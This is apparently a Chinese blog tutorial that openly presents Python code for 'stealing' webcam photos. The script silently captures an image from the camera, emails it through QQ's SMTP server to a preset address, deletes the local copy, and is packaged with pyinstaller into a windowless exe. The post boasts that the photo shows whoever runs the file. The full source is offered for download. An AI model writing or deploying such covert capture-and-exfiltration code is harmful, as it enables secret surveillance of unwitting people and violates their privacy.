一、思路
python可以调用电脑的摄像头进行拍照,然后保存照片。
通过QQ邮箱官方网站获取授权码方法,将照片发送到指定的邮箱。最后将本地的照片删除。
借助pyinstaller库,py打包成exe,这样就可以在没有python环境的pc机上执行程序。
二、代码
所需库
import os
# 删除图片文件
import cv2
# 调用摄像头拍摄照片
代码
# 调用摄像头拍摄照片
def get_photo():
# 开启摄像头
cap = cv2.VideoCapture(0)
# 将摄像头中的一帧图片数据保存
f, frame = cap.read()
# 将图片保存为本地文件
cv2.imwrite('image.jpg', frame)
# 关闭摄像头
cap.release()
通过get_photo函数可以实现调用摄像头拍照,并保存照片为image.jpg
获取邮箱授权码
步骤一:登录邮箱->设置->账户
步骤二:找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务】,先开启,再点击【生成授权码】,如下图所示
步骤三:生成的结果如下:
所需库
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
代码
# 把图片文件发送到我的邮箱
def send():
sender = '发件人邮箱'
receivers = '收件人邮箱'
message = MIMEMultipart('related')
subject = '公众号:Python爬虫数据分析挖掘'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('','html','utf-8')
message.attach(content)
file=open("image.jpg", "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"发件人的邮箱授权码")
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("邮件发送成功")
except smtplib.SMTPException as e:
print(e)
这里响应填写三部分内容:1、发件人邮箱,2、收件人邮箱,3、发件人的邮箱授权码
发送照片到邮箱之后,删除本地image.jpg
os.remove('image.jpg') #删除本地照片
所需库
pyinstaller
3.1、安装pyinstaller
###方法一
pip install pyinstaller
###方法二
pip install -i https://pypi.doubanio.com/simple/ pyinstaller
如果觉得方法一安装慢,可以选择方法二。
3.2、打包exe程序
打开DOS窗口,输入命令:
pyinstaller -F -w *.py(星号是.py的全部路径)
pyinstaller -F -w C:\Users\Administrator\Desktop\0110\main.py
出现这个图,表示打包成功,打包好的exe文件存放在红框显示的路径中
这样我们的main.py程序就已经成功打包成exe可执行文件了。
三、效果演示
程序运行后就自动退出,这样我们的邮箱就收到了照片(这个照片是当前打开这个exe文件人的真实照片)
这里就直接戴口罩去测试程序了(不好意思露面,哈哈哈)
可以看到我们的邮箱就收到了这一张图片,是不是觉得很神奇
四、结尾
以上就是python窃取摄像头照片(摄像头拍照+邮箱发送+打包exe)的全部内容,完整源码和main.exe这两个文件已经上传到公众号,需要的小伙伴可以去领取。
【本文完整源码获取方式】
公众号回复:摄像头拍照
------------------- End -------------------
30行爬虫代码实现中英互译
分析B站《送你一朵小红花》弹幕评论
4个小时我赚了600块
【加群获取学习资料】
公众号回复:人群
欢迎大家点赞,留言,转发,转载,感谢大家的相伴与支持
想加入Python学习群请在后台回复【入群】
万水千山总是情,点个【在看】行不行
【加群获取学习资料QQ群:901381280】
【各种爬虫源码获取方式】
识别文末二维码,回复:爬虫源码
欢迎关注公众号:Python爬虫数据分析挖掘,方便及时阅读最新文章
回复【开源源码】免费获取更多开源项目源码